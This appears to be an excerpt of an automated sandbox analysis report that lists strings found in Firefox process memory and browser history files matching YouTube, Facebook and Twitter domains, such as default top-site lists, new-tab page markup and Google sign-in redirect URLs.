Source: firefox.exe, 00000010.00000002.3302124352.000001A8A5F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account8WE equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000002.3283028567.0000029D55F60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountCSu equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3283065677.000001F42CAEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountIM equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3282652339.000002B9C28B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountJ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3304423656.000001A8A841A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3029532362.000001A8A8425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountl equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: chromecache_275.13.dr	String found in binary or memory: _.Dq(p)+"/familylink/privacy/notice/embedded?langCountry="+_.Dq(p);break;case "PuZJUb":a+="https://www.youtube.com/t/terms?chromeless=1&hl="+_.Dq(m);break;case "fxTQxb":a+="https://youtube.com/t/terms?gl="+_.Dq(_.Mq(c))+"&hl="+_.Dq(d)+"&override_hl=1"+(f?"&linkless=1":"");break;case "prAmvd":a+="https://www.google.com/intl/"+_.Dq(m)+"/chromebook/termsofservice.html?languageCode="+_.Dq(d)+"&regionCode="+_.Dq(c);break;case "NfnTze":a+="https://policies.google.com/privacy/google-partners"+(f?"/embedded": equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3265309012.000001A8C0699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3265309012.000001A8C0699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7CCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: about:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B497E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B497E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000010.00000003.3262808062.000001A8C3D9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3122177082.000001A8B89B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: getZOrderAppWindowEnumerator@mozilla.org/supports-PRUint64;1-*- UpdateBrowserIDHelper: _shouldViewDownloadInternally/<validateFileNameForSavingbrowsing-context-discardedbrowser-delayed-startup-finished@mozilla.org/browser/clh;1toolkit.singletonWindowTypeVALIDATE_NO_DEFAULT_FILENAMEPREF_BRANCH_PREVIOUS_ACTIONpreviousHandler.preferredAction.https://www.youtube.com/accountgetCurrentInnerWindowWithIdbrowser-open-homepage-startVALIDATE_ALLOW_INVALID_FILENAMES_shouldViewDownloadInternallytoolkit.defaultChromeFeaturesget isVideoDecodingSuspended equals www.youtube.com (Youtube)
Source: History.17.dr	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AcMMx-djIaRGV_oWtC_GcZw2kfAeE7zPLvpVpAemuw8UUzxDDeAm6H7o2uWjT74iA2PXKPXIZ87N8A equals www.youtube.com (Youtube)
Source: History.17.dr	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AcMMx-djIaRGV_oWtC_GcZw2kfAeE7zPLvpVpAemuw8UUzxDDeAm6H7o2uWjT74iA2PXKPXIZ87N8AYouTube equals www.youtube.com (Youtube)
Source: History.17.dr	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AcMMx-djIaRGV_oWtC_GcZw2kfAeE7zPLvpVpAemuw8UUzxDDeAm6H7o2uWjT74iA2PXKPXIZ87N8AYouTube/ equals www.youtube.com (Youtube)
Source: History.17.dr	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB equals www.youtube.com (Youtube)
Source: History.17.dr	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GBYouTube equals www.youtube.com (Youtube)
Source: History.17.dr	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GBYouTube/ equals www.youtube.com (Youtube)
Source: History.17.dr	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AcMMx-f0Ki1dkMR8NUrH12cSsRPXXdvdv16fJwCXx6QqaRmryqWJMXp36Pxh8OCjHC3NFrZP06WloA&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1308328676%3A1732418622661480&ddm=1 equals www.youtube.com (Youtube)
Source: Session_13376892216433120.17.dr	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AcMMx-f0Ki1dkMR8NUrH12cSsRPXXdvdv16fJwCXx6QqaRmryqWJMXp36Pxh8OCjHC3NFrZP06WloA&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1308328676%3A1732418622661480&ddm=1" equals www.youtube.com (Youtube)
Source: History.17.dr	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AcMMx-f0Ki1dkMR8NUrH12cSsRPXXdvdv16fJwCXx6QqaRmryqWJMXp36Pxh8OCjHC3NFrZP06WloA&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1308328676%3A1732418622661480&ddm=1YouTube equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B49B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B4977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3263352248.000001A8C37E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3330787150.000001A8B6F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3255394267.000001A8B8DAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3264434250.000001A8C317B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B49B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B4977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/Get to a Wikipedia page fast, from anywhere on the web. Just highlight any webpage text and right-click to open the context menu to start a Wikipedia search. equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/Get to a Wikipedia page fast, from anywhere on the web. Just highlight any webpage text and right-click to open the context menu to start a Wikipedia search. equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/Get to a Wikipedia page fast, from anywhere on the web. Just highlight any webpage text and right-click to open the context menu to start a Wikipedia search. equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0)moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/shims/microsoftLogin.js equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0)moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/shims/microsoftLogin.js equals www.youtube.com (Youtube)
